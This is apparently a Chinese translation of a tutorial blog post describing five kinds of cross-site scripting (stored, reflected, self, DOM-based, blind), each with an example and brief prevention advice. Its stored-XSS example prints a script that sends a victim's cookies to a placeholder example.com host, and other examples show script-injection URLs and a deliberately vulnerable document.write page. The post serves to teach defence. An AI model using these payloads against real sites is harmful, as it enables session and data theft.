边学边译JS工作机制--21.XSS的5种方式和防范策略

262 阅读7分钟

本系列其他译文请看[JS工作机制 - 小白1991的专栏 - 掘金 (juejin.cn)] (juejin.cn/column/6988… 本文阅读指数:5
本文内容不多,且浅显易懂,非常推荐阅读。如果想加深对XSS的理解,可以看看贺师俊大佬的这篇文章

概述

跨站脚本(XSS)是浏览器侧进行的代码注入类的攻击方式。攻击者把木马代码注入到应用中,然后在特殊的场景下出发执行。

比如浏览器,攻击者会把代码注入到受害者使用的web应用中。一般来说,XSS攻击都是因为使用者对使用的web应用过度的信任。

JS是运行在受限的环境中的,不能访问用户的操作系统。因此XSS攻击不会损坏受害者的计算机。XSS攻击的目的往往是窃取私人信息。

XSS攻击主要有5种方式

存储型 (Stored) XSS

当web应用会存储用户输入的内容时,可能会发生存储型XSS攻击。在保持数据瘴之前,前端和后端都没有进行数据验证,就会产生严重的漏洞。如果应用加载了已经存储的数据,并将其嵌入到HTML响应页面时,代码注入就有了可乘之机。

这种攻击方式已经很少了,因为这种漏洞现在不多了并且很难找到了。

但是另一方面来说,XSS攻击的影响时很大的。一旦木马数据存在了服务,就可能被所用人使用。用户不用做任何的东动作---比如点击可疑链接等,木马就已经植入到你的应用中了。

存储型XSS攻击需要两个请求:

1.一个请求用来注入并保存木马到应用的服务器

  1. 一个请求用来加载存储的木马,并嵌入到发布的HTML页面种

允许用户分享内容的网站更容易遭到存储型XSS的攻击。比如社交网站和论坛。

Example

加入攻击者在社交网络种发现了发布评论的功能有漏洞。这个漏洞是网站页面渲染了评论的未处理过的内容。

image.png 这样,攻击者就可以在评论中添加这样一个自定义脚本

<script> window.location = ‘https://example.com/?user_data=’ + document.cookies; </script>

一旦网站加载这个评论,就会把script标签加入到HTMl页面中。那么就会把用户的URL重定向到木马网站,然后通过url的查询参数发送所有的cookies信息。这样木马网站就窃取了cookie和隐私数据。

因为很多人都可以看你的评论,所以他们都可能受到攻击。

这个案例比较粗糙,我们不希望任何的社交网站有这么低级的漏洞,它只是用来简单的说明存储型XSS攻击。

预防

防止存储型XSS最有效的途径,是在保存之前要确保所有的用户输入是纯净的。

一般通过字符串检查和转义来保证内容无害。

反射型 XSS

浏览器向服务器发送的数据,又被服务器包在回应中发回来了的时候,就可能发生反射型XSS

这种攻击被称为反射,是因为木马脚本是从web应用上反射到受害者浏览器的。

脚本通过链接触发,这个链接给web应用发送了请求,这个请求携带了一个能够执行恶意脚本的漏洞。

和存储型XSS不同,反射型的XSS代码不会保存在服务器中,它只要求恶意脚本嵌入在URL中。

存储型XSS会自动攻击访问页面的所有用户,而反射型只会攻击点击了恶意链接的终端用户

Example

假如现在有一个搜索功能,它的工作机制如下:

  • 用户输入了搜索关键字
  • web应用将关键字作为查询参数,然后将用户重定向到结果页面
  • 关键字被传递到服务器进行查询
  • 查询结束之后,服务器响应页面。响应内容中包含了搜索的关键字,以及匹配的结果。 如果用户输入了“javascript” ,就会重定向到下面这个页面:

https://example.com/search/?term=javascript

查询结束之后,页面会渲染服务端的响应:

<div> You searched for: javascript </div>
<div> Results: </div>
…

如果web应用没有对搜索关键字执行任何处理或验证,攻击者就可以在关键字中植入恶意代码:

<script>/*Malicious code*/</script>

生成的URL 会是这样:

https://example.com/search/?term=<script>/*+Malicious+code+*/</script>

页面渲染:

<div> You searched for: <script>/*Malicious code*/</script> </div>
<div> Results: </div>

如果把这个URL传播给其他用户,那么攻击者的脚本就会在他们的浏览器中执行。

image.png 传播恶意URL的方式有很多,包括把它放置在攻击者控制的网站中,或者允许生成内容的网站,通过邮件发送等等。这种攻击可以是部分人群,也可以无差别的针对任意用户

预防

只要保持警惕,就能预防反射型XSS。特别是,不要点击可疑的连接。 和存储型XSS一样的是,保证用户输入的纯净,就可以预防反射型XSS

Self-XSS

Self-XSS 有点类似于反射XSS。不同点是Self-XSS不能通过特殊的URL来触发。Self-XSS只能由受害者在自己的浏览器中触发。

这样听起来没那么危险。但是并不是这样。Self-XSS通过社会工程传播。在信息安全的上下文,社会工程是指执行操作的人精神控制,会对人群有潜在的负面影响。

Example

一种常见的方式,是让受害者粘贴一些恶意代码到浏览器的控制台。这样攻击者可以从cookie,DOM中获取所有的信息。

image.png

预防

Self-XSS 只能靠用户的警惕性来预防。开发者是无法侦测或者阻塞浏览器控制台中执行的代码的。 一些流行的网站会在浏览器的控制台放置警告信息,来阻止用户在这里执行代码。

浏览器厂商也在采取一些安全措施来警告用户Self-XSS攻击的风险

DOM-based XSS

当web应用动态修改DOM的时候可能发生DOM-based XSS攻击,恶意代码在运行时被应用自己注入。 为了触发DOM-based XSS ,网站的JS 代码需要从攻击者控制的资源上获取输入,比如浏览器中的URL

Example

看下面的例子

<html> 

<head>                                                                    
  <title> Dashboard </title>                                                
</head>                                                                   
<body>                                                                    
 <script>                                                                  
    let startPosition = document.URL.indexOf("role=") + 5;                    
    let userRole = document.URL.substring(startPosition,document.URL.length); 
    document.write(userRole);                                                 
 </script>                                                                 
 </body>                                                                   
</html>

页面中的脚本从role参数中获取值,并插入到DOM中。

攻击者就可以将查询参数设置为恶意代码,然后被注入到DOM中

https://example.com/?role=<script>/*Malicious+code*/</script>

image.png

在这个案例中,虽然web应用对这种攻击很无力,但是服务端是可以探查到的,因为它是请求的URL的一部分。如果服务端有安全机制,就能避免这种攻击。

可以使用URL片段的技术来阻止它发送到服务器。URL片段是URL中# 符号之后的内容,它不会发送给服务端。 这样的话,就可以修改上面的URL:

https://example.com/#role=<script>/*Malicious+code*/</script>

这样,恶意脚本就不会发送到浏览器了。

预防

所有依赖用户输入的DOM操作和重定向都应该净化。而且应该是客户端来做净化操作,因为DOM-based XSS 不能在服务端被禁止

当然,用户的警惕性必不可少。当用户点击一个URL或者输入数据时,都应该小心有恶意代码

Blind XSS

Blind XSS 是存储型XSS的一种。他们执行的方式一样。

不同的是恶意代码在应用的另一个部分,或者干脆在一个完全不同的应用中渲染和执行。这两种场景下,攻击者都没有访问受害的页面。

Example

Blind XSS 的一个例子是,攻击者在用户反馈页面注入了恶意代码。当应用的管理者打开反馈控制面板,恶意代码就执行了。

攻击者的恶意代码可以保存在服务器中,无论过了多久,只要当管理员访问控制面板页面就会执行。

image.png 另一种场景是日志记录,比如异常的处理日志。攻击者使用日志API,输出一些恶意代码而不是一个异常。在异常处理情况的控制面板中,恶意代码被渲染和执行。

Prevention

Blind XSS 的预防方式跟存储型XSS一样。